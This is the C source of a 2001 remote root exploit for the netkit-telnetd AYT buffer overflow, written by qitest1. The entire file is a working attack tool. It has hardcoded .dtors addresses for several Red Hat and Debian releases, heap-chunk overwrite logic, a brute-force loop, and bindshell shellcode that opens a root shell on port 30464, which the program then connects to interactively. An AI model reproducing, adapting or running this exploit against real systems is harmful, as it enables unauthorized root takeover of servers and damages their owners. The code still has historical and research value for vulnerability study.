/*
 * netkit-telnetd Linux x86 remote root exploit
 * by qitest1 - Tue Oct 9 19:13:16 CEST 2001
 *
 * Code working against the bof in netobuf (also known as the AYT 
 * vulnerability).
 *
 * The exploitation method for this vulnerability on Linux was conceived
 * by zen-parse, but I wrote a completely new code, with the greatest 
 * flexibility in the mind. This time we perform an exploitation through 
 * the .dtors section overwriting. 
 *
 * This is not a simple game: the thing is generally quite unstable, 
 * different compilations can lead to different telnetd behaviors, 
 * exploitation is very difficult and a lot of values are needed, and 
 * generally they can't so simply be guessed. Besides, a connection to
 * telnetd through the lo interface (127.0.0.1) and a remote one lead 
 * to quite different memory layouts. Use the cmd line option for this. 
 *
 * My original idea was to use a system of hardcoded values and offsets 
 * for obtaining the greatest flexibility. This way what we only need 
 * is the location where we will write the retaddr. This location is
 * located in the .dtors section. When adding new targets, don't worry 
 * about the dast, disto and pad voices of the targ struct, simply set 
 * them to 0. In your Linux distribution the location requested can be 
 * found with: 
 * objdump -s -j .dtors /usr/sbin/in.telnetd
 * Take the first addr from the left and increase it by 0x04.
 * The other value we need is the offset for a correct alignment of
 * the following scheme, in order to correctly overwrite the chunk 
 * header used by the setenv() and located after netobuf:
 *		     |
 * 	|--fake chunk in netibuf-------|
 *		     |
 *	|--chunk header after netobuf--|
 *
 * The hostname in the AYT answer can't be a multiple of 3 letters long. 
 * The program will perform an automatic control on it.
 *
 * If everything goes well:
 * >+Waiting for a real root shell...
 * >  i0x69 rulez! =)
 * >uid=0(root) gid=0(root) groups=0(root)
 * >Linux localhost 2.2.18 #3 SMP Fri Mar 16 22:20:42 CET 2001 i586 unknown
 *
 * Greets:	zen-parse: ja, thank you dude for your help.
 *		*@#!digit-labs
 *		*@#sikurezza
 *
 * THIS IS ONLY DEMONSTRATIVE CODE, PROVIDED AS IS. KEEP ATTENTION.
 *
 * qitest1@digit-labs.org .·.·.·> i0x69 rulez! =)  
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/telnet.h>

#define TELNETD_PORT	23
#define MAX_CNT_VAL	100

struct targ
{
  int def;
  char *descr;
  u_long location;
  int dast;
  u_long disto;
  int pad;
};

struct targ target[] = {
  {0, "Red Hat 6.2 with netkit-telnet-0.16 from tar.gz", 0x804ff74, 0, 0, 0},
  {1, "Red Hat 6.2 with telnetd from default installation", 0x80503f4, 0, 0,
   0},
  {2, "Red Hat 7.0 with telnetd from default installation", 0x8051d34, 0, 0,
   0},
  {3, "Red Hat 7.1 with telnetd from default installation", 0x8051b74, 0, 0,
   0},
  {4, "Debian 2.2r3 potato with telnetd from default installation", 0x8050014,
   0, 0, 0},
  {69, NULL, 0, 0, 0, 0}
};

struct filda
{
  int ayt_n;
  int opt_n;
  int ayt_re_len;
  int opt_re_len;
  int dast;
} fildap;

int sel = 0, ofst = 1, o = 0;

  /* The list of the chars to write is inspired by the chunk header we
   * wish to rewrite, that is: 0x00006800 0x00000010.
   */
char *charzist;
char cz0[] = "\xcc\x10\x69\x78\x69";    /* remote */
char cz1[] = "\xcc\x10\x69\x68\x69";    /* local */

  /* The following code is needed to start the login, accordingly
   * with the telnet protocol. Code taken from zen-parse's work.
   */
char tosend[] = {
  0xff, 0xfd, 0x03, 0xff, 0xfb, 0x18, 0xff, 0xfb, 0x1f, 0xff, 0xfb, 0x20,
  0xff, 0xfb, 0x21, 0xff, 0xfb, 0x22, 0xff, 0xfb, 0x27, 0xff, 0xfd, 0x05,
  0xff, 0xfb, 0x23, 0
};

char shellcode[] =              /* Taeho Oh bindshell code at port 30464 */
  "\x31\xc0\xb0\x02\xcd\x80\x85\xc0\x75\x43\xeb\x43\x5e\x31\xc0"
  "\x31\xdb\x89\xf1\xb0\x02\x89\x06\xb0\x01\x89\x46\x04\xb0\x06"
  "\x89\x46\x08\xb0\x66\xb3\x01\xcd\x80\x89\x06\xb0\x02\x66\x89"
  "\x46\x0c\xb0\x77\x66\x89\x46\x0e\x8d\x46\x0c\x89\x46\x04\x31"
  "\xc0\x89\x46\x10\xb0\x10\x89\x46\x08\xb0\x66\xb3\x02\xcd\x80"
  "\xeb\x04\xeb\x55\xeb\x5b\xb0\x01\x89\x46\x04\xb0\x66\xb3\x04"
  "\xcd\x80\x31\xc0\x89\x46\x04\x89\x46\x08\xb0\x66\xb3\x05\xcd"
  "\x80\x88\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\xb1\x01\xcd\x80"
  "\xb0\x3f\xb1\x02\xcd\x80\xb8\x2f\x62\x69\x6e\x89\x06\xb8\x2f"
  "\x73\x68\x2f\x89\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89"
  "\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
  "\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\x5b\xff\xff\xff";

int sockami (char *host, int port);
void td_init (int sock);
void td_postit (int sock);
void put_env (int sock, char *name, char *value);
void __mk_flowa (int sock, char *hnam_re);
void calc_rewtn0 (char *hnam_re);
void calc_rewtn1 (void);
void shellami (int sock);
void __mk_darea (int sock, u_long locin2w, u_long addr2w);
void cl3anuppa (int sock);
void usage (char *progname);
char *__ck_hnam_re (char *host);
int brewtine (char *host, char *hnam_re);
int try_this_time (char *host, char *hnam_re);

int
main (int argc, char **argv)
{
  int cnt, l = 0;
  char host[1024], *hnam_re;

  printf ("\n  netkit-telnetd exploit by qitest1\n\n");

  if (argc == 1)
    usage (argv[0]);

  host[0] = 0;

  while ((cnt = getopt (argc, argv, "h:t:d:o:l")) != EOF)
    {
      switch (cnt)
        {
        case 'h':
          strncpy (host, optarg, sizeof (host));
          host[sizeof (host) - 1] = '\x00';
          break;
        case 't':
          sel = atoi (optarg);
          break;
        case 'd':
          sscanf (optarg, "%p", &target[sel].location);
          break;
        case 'o':
          o = atoi (optarg);
          break;
        case 'l':
          l = 1;
          break;
        default:
          usage (argv[0]);
          break;
        }
    }

  if (host[0] == 0)
    usage (argv[0]);

  if (l == 0)                   /* remote */
    {
      if (target[sel].dast == 0)
        target[sel].dast = 25612;
      if (target[sel].disto == 0)
        target[sel].disto = 0x70bc;
      if (target[sel].pad == 0)
        target[sel].pad = 3248;
    }
  else                          /* local */
    {
      if (target[sel].dast == 0)
        target[sel].dast = 21396;
      if (target[sel].disto == 0)
        target[sel].disto = 0x7044;
      if (target[sel].pad == 0)
        target[sel].pad = 3128;
    }

  target[sel].dast += o;
  target[sel].disto += o;
  target[sel].pad += o;

  if (l == 0)
    charzist = cz0;
  else
    charzist = cz1;

  printf ("+Host: %s\n  as: %s\n", host, target[sel].descr);

  printf ("+Looking for the hostname in the AYT answer at %s...\n", host);
  hnam_re = __ck_hnam_re (host);
  printf ("  found: %s\n", hnam_re);

  /* Entering brute force mode..
   */
  if (brewtine (host, hnam_re) == -1)
    {
      fprintf (stderr, "+Failed to rewt...\n  exiting\n");
      exit (1);
    }
}

int
try_this_time (char *host, char *hnam_re)
{
  int sock;
  char sbuf[1024], rbuf[40960];

  printf ("  dast: %d, disto: %p, pad: %d\n",
          target[sel].dast, target[sel].disto, target[sel].pad);

  printf ("+Connecting to %s...\n", host);
  if ((sock = sockami (host, TELNETD_PORT)) == -1)
    {
      fprintf (stderr, "  unable to connect\n");
      exit (1);
    }
  printf ("  connected\n");

  printf ("+Telnet protocol rules...\n");
  td_init (sock);
  printf ("  yeah\n");

  printf ("+Setting 2 env var...\n");
  sprintf (sbuf, "%c%c%c", IAC, WILL, TELOPT_NEW_ENVIRON);
  send (sock, sbuf, strlen (sbuf), 0);
  put_env (sock, "USER", "AAAAAAA");
  put_env (sock, "TERM", "BBBBBBB");
  printf ("  done\n");

  __mk_flowa (sock, hnam_re);

  printf ("+Building fake chunk and shellcode area...\n");
  __mk_darea (sock, target[sel].location, (target[sel].location +
                                           target[sel].disto));
  printf ("  done, with padding: %d, location: %p and retaddr: %p\n",
          target[sel].pad, target[sel].location, (target[sel].location +
                                                  target[sel].disto));

  printf ("+Working for you...\n");
  sprintf (sbuf, "%c%c%c", IAC, WILL, TELOPT_NEW_ENVIRON);
  send (sock, sbuf, strlen (sbuf), 0);
  td_postit (sock);
  printf ("  dude\n");

  printf ("+Waiting for a real root shell...\n  i0x69 rulez! =)\n");
  read (sock, rbuf, sizeof (rbuf));
  sleep (3);
  close (sock);
  sleep (2);
  if ((sock = sockami (host, 30464)) == -1)
    return -1;
  shellami (sock);

  /* NEVER REACHED
   */
}

int
sockami (char *host, int port)
{
  struct sockaddr_in address;
  struct hostent *hp;
  int sock;

  sock = socket (AF_INET, SOCK_STREAM, 0);
  if (sock == -1)
    {
      perror ("socket()");
      exit (-1);
    }

  hp = gethostbyname (host);
  if (hp == NULL)
    {
      perror ("gethostbyname()");
      exit (-1);
    }

  memset (&address, 0, sizeof (address));
  memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
  address.sin_family = AF_INET;
  address.sin_port = htons (port);

  if (connect (sock, (struct sockaddr *) &address, sizeof (address)) == -1)
    return -1;

  return (sock);
}

void
td_init (int sock)
{
  char sbuf[1024];
  int n = 0, i = 0;

  sprintf (sbuf, "%c%c%c", IAC, DO, TELOPT_STATUS);
  send (sock, sbuf, strlen (sbuf), 0);

  sprintf (sbuf, "%c%c%c", IAC, WILL, TELOPT_ECHO);
  send (sock, sbuf, strlen (sbuf), 0);

  return;
}

void
put_env (int sock, char *name, char *value)
{
  char sbuf[1024];
  int n = 0, i = 0;

  memset (sbuf, 0x00, sizeof (sbuf));
  sprintf (sbuf, "%c%c%c%c%c%s%c%s%c%c",
           IAC, SB, TELOPT_NEW_ENVIRON,
           TELQUAL_IS, NEW_ENV_VAR, name, NEW_ENV_VALUE, value, IAC, SE);

  /* Weird world I think..
   */
  write (sock, sbuf, 512);

  return;
}

void
__mk_flowa (int sock, char *hnam_re)
{
  int i;
  char rbuf[40960], sbuf[4096], tmp[4096], endo[4], *cp;
  FILE *sock2;

  sock2 = (FILE *) fdopen (sock, "w+");
  cp = charzist;
  calc_rewtn0 (hnam_re);
  fildap.dast = target[sel].dast;

  cl3anuppa (sock);
  fflush (sock2);
  usleep (100000);
  read (sock, rbuf, sizeof (rbuf));

  /* Main overflow loop..
   */
  while (1)
    {
      printf ("+Calculating some stuff...\n");
      calc_rewtn1 ();
      printf ("  done, fildap.ayt_n: %d and fildap.opt_n: %d\n",
              fildap.ayt_n, fildap.opt_n);

      printf ("+Filling for char: %p...\n", *cp);

      sprintf (endo, "%c%c", IAC, AYT);
      memset (sbuf, 0x00, sizeof (sbuf));
      for (i = 0; i < fildap.ayt_n; i++)
        strcat (sbuf, endo);
      strcpy (tmp, sbuf);

      sprintf (endo, "%c%c%c", IAC, DO, *cp);
      memset (sbuf, 0x00, sizeof (sbuf));
      for (i = 0; i < fildap.opt_n; i++)
        strcat (sbuf, endo);
      strcat (tmp, sbuf);
      strcpy (sbuf, tmp);

      /* Weird world. Multiple calls to send() lead to a strange memory
       * layout.
       */
      send (sock, sbuf, strlen (sbuf), 0);

      cl3anuppa (sock);
      fflush (sock2);
      usleep (100000);
      read (sock, rbuf, sizeof (rbuf));

      printf ("  done\n");

      /* Alignments..
       */
      if (*cp == '\xcc')
        fildap.dast += 9;
      if (*cp == '\x10')
        fildap.dast -= 2;
      if (*cp == '\x69')
        fildap.dast -= 1;
      if (*cp == '\x68' || *cp == '\x78')       /* local and remote */
        fildap.dast -= 2;
      *cp++;
      sleep (2);
      if (*cp == '\x00')
        break;
    }

  return;
}

void
calc_rewtn0 (char *hnam_re)
{
  char buf[512];

  fildap.ayt_n = 0;
  fildap.opt_n = 0;

  memset (buf, 0, sizeof (buf));
  sprintf (buf, "\r\n[%s : yes]\r\n", hnam_re);
  fildap.ayt_re_len = strlen (buf);
  fildap.opt_re_len = 3;

  return;
}

void
calc_rewtn1 (void)
{
  int n = 0;

  while ((fildap.ayt_n * fildap.ayt_re_len) != (fildap.dast - n))
    {
      fildap.ayt_n = (fildap.dast - n) / fildap.ayt_re_len;
      n++;
    }
  while (1)
    {
      if (fildap.opt_n > 1000)
        {
          fprintf (stderr, "  failed\n");
          exit (1);
        }
      while (1)
        {
          fildap.opt_n += 1;
          if (((fildap.ayt_n * fildap.ayt_re_len) +
               (fildap.opt_n * fildap.opt_re_len)) >= fildap.dast)
            break;
        }
      if (fildap.dast == ((fildap.ayt_n * fildap.ayt_re_len) +
                          (fildap.opt_n * fildap.opt_re_len)))
        return;
      fildap.ayt_n -= 1;
    }

  /* NEVER REACHED 
   */
}

void
shellami (int sock)
{
  int n;
  char recvbuf[1024], *cmd = "id; uname -a\n";
  fd_set rset;

  send (sock, cmd, strlen (cmd), 0);

  while (1)
    {
      FD_ZERO (&rset);
      FD_SET (sock, &rset);
      FD_SET (STDIN_FILENO, &rset);
      select (sock + 1, &rset, NULL, NULL, NULL);
      if (FD_ISSET (sock, &rset))
        {
          n = read (sock, recvbuf, 1024);
          if (n <= 0)
            {
              printf ("Connection closed by foreign host.\n");
              exit (0);
            }
          recvbuf[n] = 0;
          printf ("%s", recvbuf);
        }
      if (FD_ISSET (STDIN_FILENO, &rset))
        {
          n = read (STDIN_FILENO, recvbuf, 1024);
          if (n > 0)
            {
              recvbuf[n] = 0;
              write (sock, recvbuf, n);
            }
        }
    }

  return;
}

void
__mk_darea (int sock, u_long locin2w, u_long addr2w)
{
  int i;
  char sbuf[4096], pad[4096], sc[1024], endo[4];
  char jmppl[] = "\x90\x90\x90\x90\xeb\x10\x90\x90";
  struct malloc_chunk
  {
    size_t ps;
    size_t sz;
    struct malloc_chunk *fd;
    struct malloc_chunk *bk;
  } mc0, mc1;

  mc0.ps = 0x08056769;
  mc0.sz = 0x00000008;
  mc0.fd = (struct malloc_chunk *) (locin2w - 12);
  mc0.bk = (struct malloc_chunk *) addr2w;

  mc1.ps = 0x00000000;
  mc1.sz = 0x00000000;
  mc1.fd = (struct malloc_chunk *) 0xbfffda69;
  mc1.bk = (struct malloc_chunk *) 0xbfffda69;

  /* Padding area before the fake chunk..
   */
  strcpy (endo, "\x69");
  memset (pad, 0x00, sizeof (pad));
  for (i = 0; i < target[sel].pad; i++)
    strcat (pad, endo);

  /* Fake chunk building in netibuf..
   */
  memset (sbuf, 0x00, sizeof (sbuf));
  memcpy (sbuf, &pad, strlen (pad));
  memcpy ((sbuf + strlen (pad)), &mc0, sizeof (mc0));
  memcpy ((sbuf + strlen (pad) + sizeof (mc0)), &mc1, sizeof (mc1));

  /* Shellcode party.. 
   * The chunks work causes an addr to be written at retaddr + 8. 
   * So the program flow would get a segfault. We avoid it with a 
   * jmp instruction.
   */
  strcpy (endo, "\x90");
  memset (sc, 0x00, sizeof (sc));
  memcpy (sc, &jmppl, strlen (jmppl));
  for (i = 0; i < 256; i++)
    strcat (sc, endo);
  strcat (sc, shellcode);
  memcpy ((sbuf + strlen (pad) + sizeof (mc0) + sizeof (mc1)), sc,
          strlen (sc));

  /* Weird world. Multiple calls to write() lead to a strange memory
   * layout.
   */
  write (sock, sbuf, (strlen (pad) + sizeof (mc0) + sizeof (mc1) +
                      strlen (sc)));

  return;
}

void
cl3anuppa (int sock)
{
  int i;
  char *c = '\x00';

  for (i = 0; i < 8192; i++)
    write (sock, c, 1);

  return;
}

void
td_postit (int sock)
{
  char sbuf[4096];

  sprintf (sbuf, "%c%c%c", IAC, WONT, TELOPT_TTYPE);
  send (sock, sbuf, strlen (sbuf), 0);

  sprintf (sbuf, "%c%c%c", IAC, WONT, TELOPT_TSPEED);
  send (sock, sbuf, strlen (sbuf), 0);

  sprintf (sbuf, "%c%c%c", IAC, WONT, TELOPT_XDISPLOC);
  send (sock, sbuf, strlen (sbuf), 0);

  sprintf (sbuf, "%s", tosend);
  send (sock, sbuf, strlen (sbuf), 0);

  sprintf (sbuf, "%c%c%c", IAC, WILL, TELOPT_ECHO);
  send (sock, sbuf, strlen (sbuf), 0);

  return;
}

void
usage (char *progname)
{
  int i = 0;

  printf ("Usage: %s [options]\n", progname);
  printf ("Options:\n"
          "  -h hostname\n"
          "  -t target\n"
          "  -d .dtors location\n"
          "  -o offset, for getting where the bruting has to start\n"
          "  -l (local connection, 127.0.0.1 - no arg required)\n"
          "Available targets:\n");
  while (target[i].def != 69)
    {
      printf ("  %d) %s\n", target[i].def, target[i].descr);
      i++;
    }

  exit (1);
}

char *
__ck_hnam_re (char *host)
{
  char sbuf[256], rbuf[256], *p, *hrp = (char *) malloc (256);
  int sock, i = 0, n;
  FILE *sock2;

  memset (hrp, 0x00, sizeof (hrp));

  if ((sock = sockami (host, TELNETD_PORT)) == -1)
    {
      fprintf (stderr, "  unable to connect\n");
      exit (1);
    }
  sock2 = (FILE *) fdopen (sock, "w+");
  read (sock, rbuf, sizeof (rbuf));
  strcpy (sbuf, "\xff\xf6");
  send (sock, sbuf, strlen (sbuf), 0);
  fflush (sock2);
  usleep (100000);
  memset (rbuf, 0x00, sizeof (rbuf));
  read (sock, rbuf, sizeof (rbuf));

  /* 2 different ways for getting the same answer, what we need. The 
   * behaviour I get in a remote connection is different from a local
   * connection with telnetd. Weird world rulez. Again.
   */
  p = strchr (rbuf, '[');
  if (p == NULL)
    {
      fprintf (stderr, "  failed\n");
      exit (1);
    }
  *p++;
  if (*p == 0x03)
    {
      memset (rbuf, 0x00, sizeof (rbuf));
      read (sock, rbuf, sizeof (rbuf));
      p = rbuf;
      while (*p != '[')
        *p++;
      *p++;
      while (*p != ' ')
        hrp[i++] = *p++;

      return (hrp);
    }
  while (*p != ' ')
    hrp[i++] = *p++;

  n = (strlen (hrp) / 3);
  if ((n * 3) == strlen (hrp))
    {
      fprintf (stderr, "  the hostname (%s) is a multiple of 3 "
               "letters long\n", hrp);
      exit (1);
    }

  close (sock);

  return (hrp);
}

int
brewtine (char *host, char *hnam_re)
{
  int cnt = 1;

  printf ("+Entering brute force mode...\n  done\n+++++\n");
  while (cnt < MAX_CNT_VAL)
    {
      printf ("+Trying for the %d° time...\n", cnt);
      if (try_this_time (host, hnam_re) == -1)
        printf ("+Brewtine...\n  failed\n+++++\n");
      cnt++;
    }

  /* Failed 
   */
  return -1;
}
